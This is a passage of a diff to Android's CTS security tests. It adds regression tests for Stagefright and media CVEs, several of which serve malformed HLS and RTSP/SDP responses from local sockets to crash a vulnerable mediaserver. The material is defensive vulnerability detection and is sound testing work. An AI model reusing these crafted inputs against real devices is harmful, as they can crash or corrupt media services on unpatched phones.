+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\n").getBytes());
+            }
+          catch(IOException e){
+          }
+        }
+      };
+      server.start();
+      String uri = "http://127.0.0.1:8080/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
+                 + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/"
+                 + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.m3u8";
+      final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+
+      LooperThread t = new LooperThread(new Runnable() {
+          @Override
+          public void run() {
+
+              MediaPlayer mp = new MediaPlayer();
+              mp.setOnErrorListener(mpcl);
+              mp.setOnPreparedListener(mpcl);
+              mp.setOnCompletionListener(mpcl);
+              Surface surface = getDummySurface();
+              mp.setSurface(surface);
+              AssetFileDescriptor fd = null;
+              try {
+                mp.setDataSource(uri);
+                mp.prepareAsync();
+              } catch (IOException e) {
+                Log.e(TAG, e.toString());
+              } finally {
+                  closeQuietly(fd);
+              }
+
+              Looper.loop();
+              mp.release();
+          }
+      });
+      t.start();
+      Thread.sleep(60000); // Poc takes a while to crash mediaserver, waitForError
+                           // doesn't wait long enough
+      assertFalse("Device *IS* vulnerable to CVE-2017-13279",
+                  mpcl.waitForError() == MediaPlayer.MEDIA_ERROR_SERVER_DIED);
+      t.stopLooper();
+      t.join(); // wait for thread to exit so we're sure the player was released
+      server.join();
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2018-04")
     public void testStagefright_cve_2017_13276() throws Exception {
         doStagefrightTest(R.raw.cve_2017_13276);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-12")
     public void testStagefright_cve_2016_6764() throws Exception {
         doStagefrightTest(R.raw.cve_2016_6764, new CrashUtils.Config().checkMinAddress(false));
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2018-01")
     public void testStagefright_cve_2017_13214() throws Exception {
         doStagefrightTest(R.raw.cve_2017_13214);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-06")
     public void testStagefright_bug_35467107() throws Exception {
         doStagefrightTest(R.raw.bug_35467107, new CrashUtils.Config().checkMinAddress(false));
     }
@@ -782,23 +1253,396 @@
      before any existing test methods
      ***********************************************************/
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2018-09")
+    public void testStagefright_cve_2018_9474() throws Exception {
+        MediaPlayer mp = new MediaPlayer();
+        Surface surface = getDummySurface();
+        mp.setSurface(surface);
+        AssetFileDescriptor fd = getInstrumentation().getContext().getResources()
+                .openRawResourceFd(R.raw.cve_2018_9474);
+
+        mp.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
+        mp.prepare();
+
+        MediaPlayer.TrackInfo[] trackInfos = mp.getTrackInfo();
+        if (trackInfos == null || trackInfos.length == 0) {
+            return;
+        }
+
+        MediaPlayer.TrackInfo trackInfo = trackInfos[0];
+
+        int trackType = trackInfo.getTrackType();
+        MediaFormat format = trackInfo.getFormat();
+
+        Parcel data = Parcel.obtain();
+        trackInfo.writeToParcel(data, 0);
+
+        data.setDataPosition(0);
+        int trackTypeFromParcel = data.readInt();
+        String mimeTypeFromParcel = data.readString();
+        data.recycle();
+
+        if (trackType == trackTypeFromParcel) {
+            assertFalse("Device *IS* vulnerable to CVE-2018-9474",
+                        mimeTypeFromParcel.equals("und"));
+        }
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2019-09")
+    public void testStagefright_cve_2019_2108() throws Exception {
+        doStagefrightTestRawBlob(R.raw.cve_2019_2108_hevc, "video/hevc", 320, 240,
+            new CrashUtils.Config().setSignals(CrashUtils.SIGSEGV, CrashUtils.SIGBUS,
+                                               CrashUtils.SIGABRT));
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2016-09")
+    public void testStagefright_cve_2016_3880() throws Exception {
+        Thread server = new Thread() {
+            @Override
+            public void run() {
+                try (ServerSocket serverSocket = new ServerSocket(8080) {
+                        {setSoTimeout(10_000);} // time out after 10 seconds
+                    };
+                    Socket conn = serverSocket.accept()
+                ) {
+                    OutputStream outputstream = conn.getOutputStream();
+                    InputStream inputStream = conn.getInputStream();
+                    byte input[] = new byte[65536];
+                    inputStream.read(input, 0, 65536);
+                    String inputStr = new String(input);
+                    if (inputStr.contains("DESCRIBE rtsp://127.0.0.1:8080/cve_2016_3880")) {
+                        byte http[] = ("RTSP/1.0 200 OK\r\n"
+                        + "Server: stagefright/1.2 (Linux;Android 9)\r\n"
+                        + "Content-Type: application/sdp\r\n"
+                        + "Content-Base: rtsp://127.0.0.1:8080/cve_2016_3880\r\n"
+                        + "Content-Length: 379\r\n"
+                        + "Cache-Control: no-cache\r\nCSeq: 1\r\n\r\n").getBytes();
+
+                        byte sdp[] = ("v=0\r\no=- 64 233572944 IN IP4 127.0.0.0\r\n"
+                        + "s=QuickTime\r\nt=0 0\r\na=range:npt=now-\r\n"
+                        + "m=video 5434 RTP/AVP 96123456\r\nc=IN IP4 127.0.0.1\r\n"
+                        + "b=AS:320000\r\na=rtpmap:96123456 H264/90000\r\n"
+                        + "a=fmtp:96123456 packetization-mode=1;profile-level-id=42001E;"
+                        + "sprop-parameter-sets=Z0IAHpZUBaHogA==,aM44gA==\r\n"
+                        + "a=cliprect:0,0,480,270\r\na=framesize:96123456 720-480\r\n"
+                        + "a=control:track1\r\n").getBytes();
+
+                        outputstream.write(http);
+                        outputstream.write(sdp);
+                        outputstream.flush();
+                    }
+                } catch (IOException e) {
+                }
+            }
+        };
+        server.start();
+        String uri = "rtsp://127.0.0.1:8080/cve_2016_3880";
+        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(new CrashUtils.Config()
+                .setSignals(CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT));
+        LooperThread t = new LooperThread(new Runnable() {
+            @Override
+            public void run() {
+                MediaPlayer mp = new MediaPlayer();
+                mp.setOnErrorListener(mpcl);
+                mp.setOnPreparedListener(mpcl);
+                mp.setOnCompletionListener(mpcl);
+                Surface surface = getDummySurface();
+                mp.setSurface(surface);
+                AssetFileDescriptor fd = null;
+                try {
+                    mp.setDataSource(uri);
+                    mp.prepareAsync();
+                } catch (IOException e) {
+                    Log.e(TAG, e.toString());
+                } finally {
+                    closeQuietly(fd);
+                }
+                Looper.loop();
+                mp.release();
+            }
+        });
+        t.start();
+        assertFalse("Device *IS* vulnerable to CVE-2016-3880",
+                mpcl.waitForError() == MediaPlayer.MEDIA_ERROR_SERVER_DIED);
+        t.stopLooper();
+        t.join();
+        server.join();
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "Unknown")
+    public void testStagefright_bug170240631() throws Exception {
+        doStagefrightTest(R.raw.bug170240631_ts);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-05")
+    public void testStagefright_cve_2020_3641() throws Exception {
+        doStagefrightTest(R.raw.cve_2020_3641);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-04")
+    public void testStagefright_cve_2019_14127() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_14127);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-04")
+    public void testStagefright_cve_2019_14132() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_14132);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-03")
+    public void testStagefright_cve_2019_10591() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_10591);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-02")
+    public void testStagefright_cve_2019_10590() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_10590);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-01")
+    public void testStagefright_cve_2019_14004() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_14004);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-01")
+    public void testStagefright_cve_2019_14003() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_14003);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-02")
+    public void testStagefright_cve_2019_14057() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_14057);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-01")
+    public void testStagefright_cve_2019_10532() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_10532);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-01")
+    public void testStagefright_cve_2019_10578() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_10578);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-03")
+    public void testStagefright_cve_2019_14061() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_14061, 180000);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-01")
+    public void testStagefright_cve_2019_10611() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_10611);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2019-08")
+    public void testStagefright_cve_2019_10489() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_10489);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-03")
+    public void testStagefright_cve_2019_14048() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_14048);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2019-07")
+    public void testStagefright_cve_2019_2253() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_2253);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-01")
+    public void testStagefright_cve_2019_10579() throws Exception {
+        doStagefrightTestANR(R.raw.cve_2019_10579);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-01")
+    public void testStagefright_cve_2019_14005() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_14005);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-01")
+    public void testStagefright_cve_2019_14006() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_14006);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-01")
+    public void testStagefright_CVE_2019_14016() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_14016);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-01")
+    public void testStagefright_CVE_2019_14017() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_14017);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2018-07")
+    public void testStagefright_cve_2018_9412() throws Exception {
+        doStagefrightTest(R.raw.cve_2018_9412, 180000);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2019-05")
+    public void testStagefright_cve_2019_2334() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_2334);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2019-09")
+    public void testStagefright_cve_2019_10534() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_10534);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2019-09")
+    public void testStagefright_cve_2019_10533() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_10533);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2019-09")
+    public void testStagefright_cve_2019_10541() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_10541);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2018-02")
+    public void testStagefright_cve_2017_13233() throws Exception {
+        doStagefrightTestRawBlob(R.raw.cve_2017_13233_hevc, "video/hevc", 640,
+                480);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2019-07")
+    public void testStagefright_cve_2019_2106() throws Exception {
+        int[] frameSizes = {943, 3153};
+        doStagefrightTestRawBlob(R.raw.cve_2019_2106_hevc, "video/hevc", 320,
+                240, frameSizes);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2017-06")
+    public void testStagefright_cve_2017_0637() throws Exception {
+        doStagefrightTest(R.raw.cve_2017_0637, 2 * 72000);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2018-09")
+    public void testStagefright_cve_2018_11287() throws Exception {
+        doStagefrightTest(R.raw.cve_2018_11287, 180000);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2019-07")
+    public void testStagefright_cve_2019_2327() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_2327);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2019-07")
+    public void testStagefright_cve_2019_2322() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_2322);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2019-05")
+    public void testStagefright_cve_2019_2259() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_2259);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2018-01")
+    public void testStagefright_cve_2017_13204() throws Exception {
+        int[] frameSizes = getFrameSizes(R.raw.cve_2017_13204_framelen);
+        doStagefrightTestRawBlob(R.raw.cve_2017_13204_avc, "video/avc", 16, 16, frameSizes);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2018-03")
+    public void testStagefright_cve_2017_17773() throws Exception {
+        doStagefrightTest(R.raw.cve_2017_17773);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2018-04")
+    public void testStagefright_cve_2017_18074() throws Exception {
+        doStagefrightTest(R.raw.cve_2017_18074);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2018-06")
+    public void testStagefright_cve_2018_5894() throws Exception {
+        doStagefrightTest(R.raw.cve_2018_5894);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2018-07")
+    public void testStagefright_cve_2018_5874() throws Exception {
+        doStagefrightTest(R.raw.cve_2018_5874);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2018-07")
+    public void testStagefright_cve_2018_5875() throws Exception {
+        doStagefrightTest(R.raw.cve_2018_5875);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2018-07")
+    public void testStagefright_cve_2018_5876() throws Exception {
+        doStagefrightTest(R.raw.cve_2018_5876);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2018-07")
+    public void testStagefright_cve_2018_5882() throws Exception {
+        doStagefrightTest(R.raw.cve_2018_5882);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2017-12")
     public void testBug_65186291() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_65186291_framelen);
         doStagefrightTestRawBlob(R.raw.bug_65186291_hevc, "video/hevc", 1920, 1080, frameSizes);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2018-01")
     public void testBug_67737022() throws Exception {
         doStagefrightTest(R.raw.bug_67737022);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-07")
     public void testStagefright_bug_37093318() throws Exception {
         doStagefrightTest(R.raw.bug_37093318, (4 * 60 * 1000));
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2018-05")
     public void testStagefright_bug_73172046() throws Exception {
         doStagefrightTest(R.raw.bug_73172046);
 
@@ -810,36 +1654,90 @@
         }
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-03")
     public void testStagefright_cve_2016_0824() throws Exception {
         doStagefrightTest(R.raw.cve_2016_0824);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-03")
     public void testStagefright_cve_2016_0815() throws Exception {
         doStagefrightTest(R.raw.cve_2016_0815);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-05")
     public void testStagefright_cve_2016_2454() throws Exception {
         doStagefrightTest(R.raw.cve_2016_2454);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-12")
     public void testStagefright_cve_2016_6765() throws Exception {
         doStagefrightTest(R.raw.cve_2016_6765, new CrashUtils.Config().checkMinAddress(false));
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-07")
     public void testStagefright_cve_2016_2508() throws Exception {
         doStagefrightTest(R.raw.cve_2016_2508, new CrashUtils.Config().checkMinAddress(false));
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2016-11")
     public void testStagefright_cve_2016_6699() throws Exception {
         doStagefrightTest(R.raw.cve_2016_6699);
     }
 
+    @Test
+    @SecurityTest(minPatchLevel = "2018-06")
+    public void testStagefright_cve_2017_18155() throws Exception {
+        doStagefrightTest(R.raw.cve_2017_18155);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2018-07")
+    public void testStagefright_cve_2018_9423() throws Exception {
+        doStagefrightTest(R.raw.cve_2018_9423);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2016-09")
+    public void testStagefright_cve_2016_3879() throws Exception {
+        doStagefrightTest(R.raw.cve_2016_3879, new CrashUtils.Config().checkMinAddress(false));
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2017-07")
+    public void testStagefright_xaac_not_present() throws Exception {
+        // ensure that the xaac codec is not present
+        MediaCodec codec;
+        String names[] = new String[] { "c2.android.xaac.decoder", "OMX.google.xaac.decoder" };
+        for (String name : names) {
+            Log.w(TAG, "trying to create codec: " + name);
+            try {
+                codec = MediaCodec.createByCodecName(name);
+                fail("not allowed to createByCodecName() for " + name);
+            } catch (IllegalArgumentException e) {
+                // expected
+                Log.w(TAG, "correctly unable to instantiate code for " + name);
+            }
+        }
+    }
+
+   /***********************************************************
+     to prevent merge conflicts, add P tests below this comment,
+     before any existing test methods
+     ***********************************************************/
+
+    @Test
+    @SecurityTest(minPatchLevel = "2019-12")
+    public void testStagefright_cve_2019_2222() throws Exception {
+        int[] frameSizes = getFrameSizes(R.raw.cve_2019_2222_framelen);
+        doStagefrightTestRawBlob(R.raw.cve_2019_2222_hevc, "video/hevc", 320, 240, frameSizes);
+    }
+
     private void doStagefrightTest(final int rid) throws Exception {
         doStagefrightTest(rid, null);
     }
@@ -855,7 +1753,6 @@
         String rname = resources.getResourceEntryName(rid);
         String url = server.getAssetUrl("raw/" + rname);
         verifyServer(rid, url);
-
         doStagefrightTestMediaPlayer(url, config);
         doStagefrightTestMediaCodec(url, config);
         doStagefrightTestMediaMetadataRetriever(url, config);
@@ -1048,15 +1945,15 @@
                 SystemClock.sleep(1000);
             }
             if (what == MediaPlayer.MEDIA_ERROR_SERVER_DIED) {
-                JSONArray crashes = getCrashReport(getName(), 5000);
+                JSONArray crashes = getCrashReport(name.getMethodName(), 5000);
                 if (crashes == null) {
-                    Log.e(TAG, "Crash results not found for test " + getName());
+                    Log.e(TAG, "Crash results not found for test " + name.getMethodName());
                     return what;
                 } else if (CrashUtils.securityCrashDetected(crashes, config)) {
                     return what;
                 } else {
                     Log.i(TAG, "Crash ignored due to no security crash found for test " +
-                        getName());
+                        name.getMethodName());
                     // 0 is the code for no error.
                     return 0;
                 }
@@ -1183,6 +2080,79 @@
         t.join(); // wait for thread to exit so we're sure the player was released
     }
 
+    /*
+     * b/135207745
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2019-08")
+    public void testStagefright_cve_2019_2129() throws Exception {
+        final int rid = R.raw.cve_2019_2129;
+        String name = getInstrumentation().getContext().getResources().getResourceEntryName(rid);
+        Log.i(TAG, "start mediaplayer test for: " + name);
+
+        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener() {
+            @Override
+            public void onPrepared(MediaPlayer mp) {
+                super.onPrepared(mp);
+                mp.setLooping(true);
+            }
+        };
+
+        LooperThread t = new LooperThread(new Runnable() {
+            @Override
+            public void run() {
+                MediaPlayer mp = new MediaPlayer();
+                mp.setOnErrorListener(mpcl);
+                mp.setOnPreparedListener(mpcl);
+                mp.setOnCompletionListener(mpcl);
+                Surface surface = getDummySurface();
+                mp.setSurface(surface);
+                AssetFileDescriptor fd = null;
+                try {
+                    fd = getInstrumentation().getContext().getResources().openRawResourceFd(rid);
+                    mp.setOnTimedTextListener(new MediaPlayer.OnTimedTextListener() {
+                        @Override
+                        public void onTimedText(MediaPlayer p, TimedText text) {
+                            if (text != null) {
+                                Log.d(TAG, "text = " + text.getText());
+                            }
+                        }
+                    });
+                    mp.setDataSource(fd.getFileDescriptor(),
+                                     fd.getStartOffset(),
+                                     fd.getLength());
+                    //  keep the original as in poc by not using prepareAsync
+                    mp.prepare();
+                    mp.selectTrack(2);
+                } catch (Exception e) {
+                    Log.e(TAG, "Exception is caught " + e.getMessage());
+                    e.printStackTrace();
+                } finally {
+                    closeQuietly(fd);
+                }
+
+                try {
+                    //  here to catch & swallow the runtime crash in exception
+                    //  after the place where original poc failed in
+                    //  java.lang.IllegalArgumentException: parseParcel()
+                    //  which is beyond test control.
+                    Looper.loop();
+                } catch (RuntimeException e) {
+                    Log.e(TAG, "Exception is caught on Looper.loop() " + e.getMessage());
+                    e.printStackTrace();
+                }
+                mp.release();
+            }
+        });
+
+        t.start();
+        String cve = name.replace("_", "-").toUpperCase();
+        assertFalse("Device *IS* vulnerable to " + cve,
+                    mpcl.waitForError() == MediaPlayer.MEDIA_ERROR_SERVER_DIED);
+        t.stopLooper();
+        t.join(); // wait for thread to exit so we're sure the player was released
+    }
+
     private void doStagefrightTestMediaCodec(final int rid) throws Exception {
         doStagefrightTestMediaCodec(rid, null, null);
     }
@@ -1460,40 +2430,58 @@
         thr.join();
     }
 
+    @Test
+    @SecurityTest(minPatchLevel = "2017-07")
     public void testBug36215950() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_36215950, "video/hevc", 320, 240);
     }
 
+    @Test
+    @SecurityTest(minPatchLevel = "2017-08")
     public void testBug36816007() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_36816007, "video/avc", 320, 240,
                 new CrashUtils.Config().checkMinAddress(false));
     }
 
+    @Test
+    @SecurityTest(minPatchLevel = "2017-05")
     public void testBug36895511() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_36895511, "video/hevc", 320, 240,
                 new CrashUtils.Config().checkMinAddress(false));
     }
 
+    @Test
+    @SecurityTest(minPatchLevel = "2017-11")
     public void testBug64836894() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_64836894, "video/avc", 320, 240);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-08")
     public void testCve_2017_0687() throws Exception {
         doStagefrightTestRawBlob(R.raw.cve_2017_0687, "video/avc", 320, 240);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-07")
+    public void testCve_2017_0696() throws Exception {
+        doStagefrightTestRawBlob(R.raw.cve_2017_0696, "video/avc", 320, 240);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2018-01")
     public void testBug_37930177() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_37930177_hevc, "video/hevc", 320, 240);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2017-08")
     public void testBug_37712181() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_37712181_hevc, "video/hevc", 320, 240);
     }
 
-    @SecurityTest
+    @Test
+    @SecurityTest(minPatchLevel = "2018-04")
     public void testBug_70897394() throws Exception {
         doStagefrightTestRawBlob(R.raw.bug_70897394_avc, "video/avc", 320, 240,
                 new CrashUtils.Config().checkMinAddress(false));
@@ -1658,7 +2646,8 @@
 
     private void doStagefrightTestRawBlob(int rid, String mime, int initWidth, int initHeight,
             int frameSizes[]) throws Exception {
-        doStagefrightTestRawBlob(rid, mime, initWidth, initHeight, frameSizes, null);
+        // check crash address by default
+        doStagefrightTestRawBlob(rid, mime, initWidth, initHeight, frameSizes, new CrashUtils.Config());
     }
 
     private void doStagefrightTestRawBlob(int rid, String mime, int initWidth, int initHeight,
@@ -1847,4 +2836,77 @@
         t.stopLooper();
         t.join(); // wait for thread to exit so we're sure the player was released
     }
+
+    private void doStagefrightTestExtractorSeek(final int rid, final long offset) throws Exception {
+        doStagefrightTestExtractorSeek(rid, offset, new CrashUtils.Config()); // check crash address by default
+    }
+
+    private void doStagefrightTestExtractorSeek(final int rid, final long offset,
+            CrashUtils.Config config) throws Exception {
+        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(config);
+        LooperThread thr = new LooperThread(new Runnable() {
+            @Override
+            public void run() {
+                MediaPlayer mp = new MediaPlayer();
+                mp.setOnErrorListener(mpcl);
+                try {
+                    AssetFileDescriptor fd = getInstrumentation().getContext().getResources()
+                        .openRawResourceFd(R.raw.good);
+                    mp.setDataSource(fd.getFileDescriptor(),
+                                     fd.getStartOffset(),
+                                     fd.getLength());
+                    fd.close();
+                } catch (Exception e) {
+                    fail("setDataSource of known-good file failed");
+                }
+                synchronized(mpcl) {
+                    mpcl.notify();
+                }
+                Looper.loop();
+                mp.release();
+            }
+        });
+        thr.start();
+        synchronized(mpcl) {
+            mpcl.wait();
+        }
+        Resources resources =  getInstrumentation().getContext().getResources();
+        MediaExtractor ex = new MediaExtractor();
+        AssetFileDescriptor fd = resources.openRawResourceFd(rid);
+        try {
+            ex.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
+        } catch (IOException e) {
+        } finally {
+            closeQuietly(fd);
+        }
+        int numtracks = ex.getTrackCount();
+        String rname = resources.getResourceEntryName(rid);
+        Log.i(TAG, "start mediaextractor test for: " + rname + ", which has " + numtracks + " tracks");
+        for (int t = 0; t < numtracks; t++) {
+            try {
+                ex.selectTrack(t);
+            } catch (IllegalArgumentException e) {
+                Log.w(TAG, "couldn't select track " + t);
+            }
+            ex.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
+            ex.advance();
+            ex.seekTo(offset, MediaExtractor.SEEK_TO_NEXT_SYNC);
+            try
+            {
+                ex.unselectTrack(t);
+            }
+            catch (Exception e) {
+            }
+        }
+        ex.release();
+        String cve = rname.replace("_", "-").toUpperCase();
+        assertFalse("Device *IS* vulnerable to " + cve,
+                    mpcl.waitForError() == MediaPlayer.MEDIA_ERROR_SERVER_DIED);
+        thr.stopLooper();
+        thr.join();
+    }
+
+    private Instrumentation getInstrumentation() {
+        return mInstrumentation;
+    }
 }
diff --git a/tests/tests/security/src/android/security/cts/VerifiedBootTest.java b/tests/tests/security/src/android/security/cts/VerifiedBootTest.java
index 8d388cc..a3209fc 100644
--- a/tests/tests/security/src/android/security/cts/VerifiedBootTest.java
+++ b/tests/tests/security/src/android/security/cts/VerifiedBootTest.java
@@ -21,7 +21,6 @@
 import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 import com.android.compatibility.common.util.PropertyUtil;
-import com.android.compatibility.common.util.CddTest;
 
 @SecurityTest
 public class VerifiedBootTest extends AndroidTestCase {
@@ -43,7 +42,6 @@
    * A device without the feature flag android.hardware.ram.normal is exempt if
    * it launched on a pre-P level.
    */
-  @CddTest(requirement="9.10/C-1-1,C-2-1")
   public void testVerifiedBootSupport() throws Exception {
     if (PropertyUtil.getFirstApiLevel() < Build.VERSION_CODES.O_MR1) {
       return;
diff --git a/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java b/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
index ef9316f..d0afec0 100644
--- a/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
+++ b/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
@@ -39,7 +39,7 @@
     }
 
     //Testing security bug: 30229821
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testVisualizer_MalformedConstructor() throws Exception {
         final String VISUALIZER_TYPE = "e46b26a0-dddd-11db-8afd-0002a5d5c51b";
         final int VISUALIZER_CMD_MEASURE = 0x10001;
diff --git a/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java b/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
index fc28247..5368e93 100644
--- a/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
+++ b/tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java
@@ -33,7 +33,7 @@
      * Prior to fixing bug 33300701, decoding resulted in undefined behavior (divide by zero).
      * With the fix, decoding will fail, without dividing by zero.
      */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-03")
     public void test_android_bug_33300701() {
         InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33300701);
         Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
diff --git a/tests/tests/slice/Android.mk b/tests/tests/slice/Android.mk
index b440d19..6355f79 100644
--- a/tests/tests/slice/Android.mk
+++ b/tests/tests/slice/Android.mk
@@ -22,7 +22,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
 
